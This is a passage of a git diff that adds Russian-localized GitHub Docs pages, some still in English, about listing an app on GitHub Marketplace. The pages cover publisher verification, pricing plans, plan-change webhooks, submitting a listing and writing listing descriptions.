+ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089722' +--- +Подтверждение издателя позволяет убедиться в том, что у {% data variables.product.prodname_dotcom %} есть возможность связи с вами, что вы включили двухфакторную проверку подлинности для организации и что домен вашей организации подтвержден. + +После проверки организации вы можете публиковать платные планы для вашего приложения. Дополнительные сведения см. в разделе [Настройка тарифных планов для описания](/developers/github-marketplace/setting-pricing-plans-for-your-listing). + +Чтобы можно было предложить платные планы для приложения, оно должно принадлежать организации, в которой у вас есть разрешения владельца. Если приложение в настоящее время принадлежит личной учетной записи, вам потребуется передать права владения приложением организации. Дополнительные сведения см. в разделе [Передача права владения приложением GitHub](/developers/apps/transferring-ownership-of-a-github-app) или [Передача владения приложением OAuth](/developers/apps/transferring-ownership-of-an-oauth-app). + +## Запрос подтверждения издателя + + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели щелкните **Developer settings** (Параметры разработчика). + ![Пункт "Параметры разработчика" на боковой панели параметров организации](/assets/images/marketplace/developer-settings-in-org-settings.png) +1. В разделе "Параметры разработчика" щелкните **Подтверждение издателя**. + ![Пункт "Подтверждение издателя" на боковой панели параметров организации](/assets/images/marketplace/publisher-verification-settings-option.png) +1. В разделе "Подтверждение издателя" заполните сведения в контрольном списке: + - Убедитесь в том, что основные сведения профиля указаны и точны. Кроме того, убедитесь в том, что вы указали самый подходящий адрес электронной почты для получения поддержки и новостей от {% data variables.product.company_short %}. + - Убедитесь в том, что для организации включена двухфакторная проверка подлинности. Дополнительные сведения см. в разделе [Настройка требования двухфакторной проверки подлинности в организации](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization). + - Отправьте подтвержденный домен и убедитесь в том, что на странице профиля организации отображается эмблема "Подтверждено". Связанные сведения см. в разделе [Проверка или утверждение домена для вашей организации](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). + + ![Контрольный список подтверждения издателя](/assets/images/marketplace/publisher-verification-checklist.png) + +2. Щелкните **Запросить подтверждение**. {% data variables.product.company_short %} проверит ваши сведения и сообщит о завершения подтверждения издателя. + +## Дополнительные материалы + +Сведения о процессе публикации приложений см. в разделе [Сведения о GitHub Marketplace](/developers/github-marketplace/about-github-marketplace). diff --git a/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/index.md b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/index.md new file mode 100644 index 000000000000..89cfc45da416 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/index.md @@ -0,0 +1,19 @@ +--- +title: Обзор GitHub Marketplace +intro: 'Узнайте, как предоставить общий доступ к приложению или действию для сообщества {% data variables.product.company_short %} в {% data variables.product.prodname_marketplace %}.' +versions: + fpt: '*' + ghec: '*' +children: + - /about-github-marketplace + - /about-marketplace-badges + - /applying-for-publisher-verification-for-your-organization +shortTitle: Overview +ms.openlocfilehash: 9534f77c571bc8d7530418c04d3ec4cd7111c3c2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089714' +--- + diff --git a/translations/ru-RU/content/developers/github-marketplace/index.md b/translations/ru-RU/content/developers/github-marketplace/index.md new file mode 100644 index 000000000000..aa0d6463a1a0 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/index.md @@ -0,0 +1,26 @@ +--- +title: GitHub Marketplace +intro: 'Список инструментов в Marketplace {% data variables.product.prodname_dotcom %}, которые доступны для использования и приобретения разработчиками.' +redirect_from: + - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace + - /apps/marketplace + - /marketplace +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +children: + - /github-marketplace-overview + - /creating-apps-for-github-marketplace + - /using-the-github-marketplace-api-in-your-app + - /listing-an-app-on-github-marketplace + - /selling-your-app-on-github-marketplace +ms.openlocfilehash: ba73ba3da3bd965b1b89dccac368bc637014363b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089706' +--- + diff --git a/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md new file mode 100644 index 000000000000..8392cfdd07f2 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md @@ -0,0 +1,50 @@ +--- +title: Настройка веб-перехватчика для уведомления об изменениях плана +intro: 'После [создания черновой версии списка {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) можно настроить веб-перехватчик, который уведомит вас о внесении изменений в планы учетной записи клиента. После настройки веб-перехватчика можно [обрабатывать `marketplace_purchase`типы событий](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) в приложении.' +redirect_from: + - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing + - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing + - /apps/marketplace/setting-up-github-marketplace-webhooks/creating-a-webhook-for-a-github-marketplace-listing + - /apps/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook + - /marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook + - /developers/github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Webhooks for plan changes +ms.openlocfilehash: 85ffaa8809860ff4b693075e416723717296f86c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089701' +--- +Веб-перехватчик событий {% data variables.product.prodname_marketplace %} можно настроить только на странице профиля приложения в {% data variables.product.prodname_marketplace %}. Все остальные события можно настроить на [странице параметров разработчика приложения](https://github.com/settings/developers). Если вы еще не создали профиль в {% data variables.product.prodname_marketplace %}, см. раздел [Создание черновика профиля в {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/). + +## Создание объекта Webhook + +Чтобы создать веб-перехватчик для профиля в {% data variables.product.prodname_marketplace %}, щелкните **Веб-перехватчик** на левой боковой панели [страницы профиля в {% data variables.product.prodname_marketplace %}](https://github.com/marketplace/manage). Вы увидите следующие параметры конфигурации веб-перехватчика, необходимые для его настройки: + +### URL-адрес полезных данных + +{% data reusables.webhooks.payload_url %} + +### Тип содержимого + +{% data reusables.webhooks.content_type %} GitHub рекомендует использовать тип содержимого `application/json`. + +### Секрет + +{% data reusables.webhooks.secret %} + +### Активен + +По умолчанию доставки веб-перехватчика имеют статус "Активно". Вы можете отключить доставку полезных данных веб-перехватчика, отменив выбор статуса "Активно". Если вы отключили доставку данных веб-перехватчика, перед отправкой приложения на проверку необходимо выбрать статус "Активно". + +## Просмотр доставленных данных веб-перехватчика + +После настройки веб-перехватчика {% data variables.product.prodname_marketplace %} вы сможете проверить полезные данные запроса `POST` на странице **Веб-перехватчик** в [профиле приложения в {% data variables.product.prodname_marketplace %}](https://github.com/marketplace/manage). GitHub не выполняет повторную отправку в случае сбоя доставки. Убедитесь, что приложение может принимать все полезные данные веб-перехватчика, отправленные GitHub. + +![Проверка последних доставленных данных веб-перехватчиков {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_webhook_deliveries.png) diff --git a/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md new file mode 100644 index 000000000000..9dd64a89598b --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md @@ -0,0 +1,68 @@ +--- +title: Drafting a listing for your app +intro: 'When you create a {% data variables.product.prodname_marketplace %} listing, GitHub saves it in draft mode until you submit the app for approval. Your listing shows customers how they can use your app.' +redirect_from: + - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace + - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace + - /apps/marketplace/getting-started-with-github-marketplace-listings/listing-an-app-on-github-marketplace + - /apps/marketplace/creating-and-submitting-your-app-for-approval/listing-an-app-on-github-marketplace + - /apps/adding-integrations/managing-listings-on-github-marketplace/removing-a-listing-from-github-marketplace + - /apps/marketplace/managing-github-marketplace-listings/removing-a-listing-from-github-marketplace + - /apps/adding-integrations/managing-listings-on-github-marketplace/editing-a-github-marketplace-listing + - /apps/marketplace/managing-github-marketplace-listings/editing-a-github-marketplace-listing + - /apps/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing + - /marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing + - /developers/github-marketplace/drafting-a-listing-for-your-app +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Draft an app listing +--- +## Create a new draft {% data variables.product.prodname_marketplace %} listing + +You can only create draft listings for apps that are public. Before creating your draft listing, you can read the following guidelines for writing and configuring settings in your {% data variables.product.prodname_marketplace %} listing: + +* [Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/) +* [Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/) +* [Configuring the {% data variables.product.prodname_marketplace %} Webhook](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/) + +To create a {% data variables.product.prodname_marketplace %} listing: + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +3. In the left sidebar, click either **OAuth Apps** or **GitHub Apps** depending on the app you're adding to {% data variables.product.prodname_marketplace %}. + + {% note %} + + **Note**: You can also add a listing by navigating to https://github.com/marketplace/new, viewing your available apps, and clicking **Create draft listing**. + + {% endnote %} + + ![App type selection](/assets/images/settings/apps_choose_app.png) + +4. Select the app you'd like to add to {% data variables.product.prodname_marketplace %}. +![App selection for {% data variables.product.prodname_marketplace %} listing](/assets/images/github-apps/github_apps_select-app.png) +{% data reusables.user-settings.edit_marketplace_listing %} +5. Once you've created a new draft listing, you'll see an overview of the sections that you'll need to visit before your {% data variables.product.prodname_marketplace %} listing will be complete. +![GitHub Marketplace listing](/assets/images/marketplace/marketplace_listing_overview.png) + + +{% note %} + +**Note:** In the "Contact info" section of your listing, we recommend using individual email addresses, rather than group emails addresses like support@domain.com. GitHub will use these email addresses to contact you about updates to {% data variables.product.prodname_marketplace %} that might affect your listing, new feature releases, marketing opportunities, payouts, and information on conferences and sponsorships. + +{% endnote %} + +## Editing your listing + +Once you've created a {% data variables.product.prodname_marketplace %} draft listing, you can come back to modify information in your listing anytime. If your app is already approved and in {% data variables.product.prodname_marketplace %}, you can edit the information and images in your listing, but you will not be able to change existing published pricing plans. See "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." + +## Submitting your app + +Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. + +## Removing a {% data variables.product.prodname_marketplace %} listing + +If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. diff --git a/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md new file mode 100644 index 000000000000..0bcaa6e8369c --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md @@ -0,0 +1,32 @@ +--- +title: Размещение приложения на GitHub Marketplace +intro: 'Узнайте о требованиях и рекомендациях по перечислению приложения в {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /apps/adding-integrations/listing-apps-on-github-marketplace + - /apps/marketplace/listing-apps-on-github-marketplace + - /apps/marketplace/getting-started-with-github-marketplace-listings + - /apps/marketplace/creating-and-submitting-your-app-for-approval + - /apps/adding-integrations/managing-listings-on-github-marketplace + - /apps/marketplace/managing-github-marketplace-listings + - /apps/marketplace/listing-on-github-marketplace + - /marketplace/listing-on-github-marketplace +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +children: + - /drafting-a-listing-for-your-app + - /writing-a-listing-description-for-your-app + - /setting-pricing-plans-for-your-listing + - /configuring-a-webhook-to-notify-you-of-plan-changes + - /submitting-your-listing-for-publication +shortTitle: List an app on the Marketplace +ms.openlocfilehash: e20f44f2287195ed5cdf0f914b64e6a9a1bbeda2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089674' +--- + diff --git a/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md new file mode 100644 index 000000000000..c56df2cb8d2a --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md @@ -0,0 +1,93 @@ +--- +title: Настройка тарифных планов для предложения +intro: 'При размещении приложения в списке в {% data variables.product.prodname_marketplace %} можно предоставить приложение в качестве бесплатной службы или продать его. Если вы планируете продать приложение, можно создать различные тарифные планы для разных уровней функций.' +redirect_from: + - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan + - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan + - /apps/marketplace/pricing-payments-and-free-trials/setting-a-github-marketplace-listing-s-pricing-plan + - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans + - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans + - /apps/marketplace/pricing-payments-and-free-trials/about-github-marketplace-pricing-plans + - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan + - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan + - /apps/marketplace/managing-github-marketplace-listings/changing-a-github-marketplace-listing-s-pricing-plan + - /apps/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan + - /marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan + - /developers/github-marketplace/setting-pricing-plans-for-your-listing +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Set listing pricing plans +ms.openlocfilehash: bc8d84a55c9597da051ab11752dd7e412761d5d7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089669' +--- +## Сведения о настройке тарифных планов + +{% data variables.product.prodname_marketplace %} предлагает несколько различных типов тарифных планов. Подробные сведения приведены в статье [Тарифные планы в {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps). + +Чтобы предложить платный план для приложения, оно должно принадлежать организации, которая прошла процесс проверки издателя и выполнила определенные критерии. Дополнительные сведения можно найти в статье [Подача заявки на проверку издателя для организации](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization) и [Требования для публикации приложения в {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/). + +Если ваше приложение уже опубликовано с платным планом и вы являетесь проверенным издателем, вы можете опубликовать новый платный план на странице "Изменить тарифный план" в параметрах приложения в Marketplace. + +![Кнопка "Опубликовать этот план"](/assets/images/marketplace/publish-this-plan-button.png) + +Если приложение уже опубликовано с платным планом, но вы не являетесь проверенным издателем, вы не можете опубликовать новый платный план, пока вы не станете проверенным издателем. Дополнительные сведения о том, как стать проверенным издателем, см. в статье [Подача заявки на проверку издателя для организации](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization). + +## Сведения о сохранении тарифных планов + +Вы можете сохранить тарифные планы в состоянии черновика или опубликованном состоянии. Если вы не отправили предложение в {% data variables.product.prodname_marketplace %} на утверждение, опубликованный план будет работать так же, как черновик плана, пока ваше предложение не будет утверждено и показано в {% data variables.product.prodname_marketplace %}. С помощью черновиков планов можно создавать и сохранять новые тарифные планы, не делая их доступными на странице предложения в {% data variables.product.prodname_marketplace %}. После публикации тарифного плана для опубликованного предложения он станет доступен клиентам для немедленной покупки. Вы можете опубликовать до 10 тарифных планов. + +Рекомендации по выставлению счетов клиентам приведены в статье [Выставление счетов клиентам](/developers/github-marketplace/billing-customers). + +## Создание тарифных планов + +Чтобы создать тарифный план для предложения в {% data variables.product.prodname_marketplace %}, щелкните **Планы и цены** на левой боковой панели [страницы предложения в {% data variables.product.prodname_marketplace %}](https://github.com/marketplace/manage). Дополнительные сведения можно найти в статье [Создание черновика предложения в {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/). + +При нажатии кнопки **Создать черновик плана** вы увидите форму, которая позволяет настроить тарифный план. Чтобы создать тарифный план, необходимо настроить следующие поля: + +- **Имя плана.**  Имя тарифного плана будет отображаться на целевой странице приложения в {% data variables.product.prodname_marketplace %}. Вы можете настроить имя тарифного плана в соответствии с ресурсами плана, размером компании, которая будет его использовать, или любым другим соображением. + +- **Модели ценообразования.**  Существует три типа тарифных планов: бесплатный, фиксированный и за единицу. Все планы требуют обработки новых событий покупки и отмены из API marketplace. Кроме того, для платных планов: + + - Необходимо задать цену как для ежемесячных, так и ежегодных подписок в долларах США. + - Ваше приложение должно обрабатывать события изменения плана. + - Необходимо запросить проверку для публикации предложения с платным планом. + - {% data reusables.marketplace.marketplace-pricing-free-trials %} + + Подробные сведения приведены в статье [Тарифные планы для приложений в {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps) и [Использование API {% data variables.product.prodname_marketplace %} в приложении](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app). + +- **Доступен для.**  Тарифные планы в {% data variables.product.prodname_marketplace %} могут применяться **только к личным учетным записям и учетным записям организаций**, **только к личным учетным записям** или **только к учетным записям организаций**. Например, если ваш тарифный план рассчитывается за единицу и предоставляет несколько рабочих мест, вы выберете **только учетные записи организаций**, потому что нет способа назначить рабочие места пользователям в организации из личной учетной записи. + +- **Краткое описание.** Напишите краткую сводку по сведениям о тарифном плане. Описание может включать тип клиента, для которого предназначен план, или ресурсы, которые включает план. + +- **Пункты.** Вы можете добавить список, включающий до четырех пунктов с дополнительными сведения о вашем плане ценообразования. В пунктах могут быть варианты использования приложения или более подробные сведения о ресурсах или функциях, включенных в план. + +{% data reusables.marketplace.free-plan-note %} + +## Изменение тарифного плана предложения в {% data variables.product.prodname_marketplace %} + +Если тарифный план для вашего предложения в {% data variables.product.prodname_marketplace %} больше не нужен или если вам нужно изменить сведения о ценах, его можно удалить. + +![Кнопка для удаления тарифного плана](/assets/images/marketplace/marketplace_remove_this_plan.png) + +После публикации тарифного плана для приложения, которое уже размещено в {% data variables.product.prodname_marketplace %}, вносить изменения в план нельзя. Вместо этого необходимо удалить тарифный план и создать новый план. Клиенты, которые уже приобрели удаленный тарифный план, будут продолжать использовать его, пока не откажутся и не перейдут на новый тарифный план. Дополнительные сведения о тарифных планах можно найти в статье [Тарифные планы в {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/github-marketplace-pricing-plans/). + +После удаления тарифного плана пользователи не смогут приобрести приложение с помощью этого плана. Существующие пользователи удаленного тарифного плана будут продолжать использовать его, пока не отменят подписку. + +{% note %} + +**Примечание.** {% data variables.product.product_name %} не может удалить пользователей из удаленного тарифного плана. Вы можете запустить кампанию, чтобы поощрить пользователей выполнить обновление или перейти с удаленного тарифного плана на новый. + +{% endnote %} + +Вы можете отключить бесплатные пробные версии GitHub Marketplace, не удаляя тарифный план, но тогда вы не сможете инициировать бесплатные пробные версии для этого плана в будущем. Если вы решили отключить бесплатные пробные версии для тарифного плана, пользователи, которые уже зарегистрировались, могут продолжить использовать бесплатную пробную версию до конца. + +После удаления тарифного плана можно создать новый тарифный план с тем же именем, что и у удаленного плана. Например, если у вас есть тарифный план "Pro", но нужно изменить фиксированную цену, можно удалить тарифный план "Pro" и создать новый тарифный план "Pro" с обновленной ценой. Пользователи смогут сразу приобрести новый тарифный план. + +Если вы не являетесь проверенным издателем, вы не можете изменить тарифный план для приложения. Дополнительные сведения о том, как стать проверенным издателем, см. в статье [Подача заявки на проверку издателя для организации](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization). diff --git a/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md new file mode 100644 index 000000000000..7954ea5fcad5 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,31 @@ +--- +title: Отправка описания для публикации +intro: 'Чтобы завершить отправку списка приложений, можно запросить проверку экспертом по подключению.' +redirect_from: + - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review + - /developers/github-marketplace/submitting-your-listing-for-review + - /developers/github-marketplace/submitting-your-listing-for-publication +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Submit your listing +ms.openlocfilehash: 9e70fea2fceb0fb2b1bfae316f5842f3e88c4333 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089658' +--- +Когда описание приложения соответствует требованиям {% data variables.product.prodname_marketplace %}, можно отправить приложение. Общие сведения о требованиях к описанию приложений см. в разделе [Требования для размещения приложения](/developers/github-marketplace/requirements-for-listing-an-app). + +1. В левом верхнем углу страницы размещения приложения щелкните **Обзор**. Дополнительные сведения о том, как найти страницу размещения приложения, см. в разделе [Создание черновика размещения для приложения](/developers/github-marketplace/drafting-a-listing-for-your-app). + + ![Параметр обзора для черновика размещения Marketplace](/assets/images/marketplace/edit-marketplace-listing-overview.png) + +2. Чтобы отправить готовое размещение приложения, щелкните **Запросить публикацию**. + + ![Контрольный список "Опубликовать приложение в Marketplace" с кнопкой отправки внизу](/assets/images/marketplace/publish-your-app-checklist-and-submission.png) + +Специалист по подключению будет обращаться к вам с дополнительной информацией. diff --git a/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md new file mode 100644 index 000000000000..0725eb52ca48 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md @@ -0,0 +1,196 @@ +--- +title: Writing a listing description for your app +intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.' +redirect_from: + - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions + - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions + - /apps/adding-integrations/listing-apps-on-github-marketplace/guidelines-for-creating-a-github-marketplace-listing + - /apps/marketplace/listing-apps-on-github/guidelines-for-creating-a-github-marketplace-listing + - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-creating-github-marketplace-listing-images + - /apps/marketplace/creating-and-submitting-your-app-for-approval/creating-github-marketplace-listing-images + - /apps/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions + - /marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions + - /developers/github-marketplace/writing-a-listing-description-for-your-app +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Write listing descriptions +--- +Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing. + +## Naming and links + +### Listing name + +Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.location.product_location %}, unless the name is your own user or organization name. + +### Very short description + +The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). + +![{% data variables.product.prodname_marketplace %} app short description](/assets/images/marketplace/marketplace_short_description.png) + +#### Length + +We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly. + +#### Content + +- Describe the app’s functionality. Don't use this space for a call to action. For example: + + **DO:** Lightweight project management for GitHub issues + + **DON'T:** Manage your projects and issues on GitHub + + **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on GitHub_ + +- Don’t repeat the app’s name in the description. + + **DO:** A container-native continuous integration tool + + **DON'T:** Skycap is a container-native continuous integration tool + +#### Formatting + +- Always use sentence-case capitalization. Only capitalize the first letter and proper nouns. + +- Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence. + +- Only capitalize proper nouns. For example: + + **DO:** One-click delivery automation for web developers + + **DON'T:** One-click delivery automation for Web Developers + +- Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists. + +- Avoid referring to the GitHub community as "users." + + **DO:** Create issues automatically for people in your organization + + **DON'T:** Create issues automatically for an organization's users + +- Avoid acronyms unless they’re well established (such as API). For example: + + **DO:** Agile task boards, estimates, and reports without leaving GitHub + + **DON'T:** Agile task boards, estimates, and reports without leaving GitHub’s UI + +### Categories + +Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app. + +### Supported languages + +If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional. + +### Listing URLs + +**Required URLs** +* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries. +* **Privacy policy URL:** The web page that displays your app's privacy policy. +* **Installation URL:** This field is shown for OAuth Apps only. (GitHub Apps don't use this URL because they use the optional Setup URL from the GitHub App's settings page instead.) When a customer purchases your OAuth App, GitHub will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See "[New purchases for OAuth Apps](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for more details. Skip this field if you're listing a GitHub App. + +**Optional URLs** +* **Company URL:** A link to your company's website. +* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance. +* **Documentation URL:** A link to documentation that teaches customers how to use your app. + +## Logo and feature card + +{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps. + +![GitHub Marketplace logo and badge images](/assets/images/marketplace/marketplace-logo-and-badge.png) + +A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card. + +![Feature card](/assets/images/marketplace/marketplace_feature_card.png) + +As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card. + +#### Guidelines for logos + +You must upload a custom image for the logo. For the badge, choose a background color. + +- Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published. +- Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center. +- For best results, upload a logo image with a transparent background. +- To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image. +- Avoid using logo images with words or text in them. Logos with text do not scale well on small screens. + +#### Guidelines for feature cards + +You must upload a custom background image for the feature card. For the app's name, choose a text color. + +- Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality. +- Background image measures 965 pixels x 482 pixels (width x height). +- Choose a text color for your app's name that shows up clearly over the background image. + +## Listing details + +To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description." + +Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page. + +![{% data variables.product.prodname_marketplace %} introductory description](/assets/images/marketplace/marketplace_intro_description.png) + +Clicking **Read more...**, displays the "Detailed description." + +![{% data variables.product.prodname_marketplace %} detailed description](/assets/images/marketplace/marketplace_detailed_description.png) + +Follow these guidelines for writing these descriptions. + +### Length + +We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required 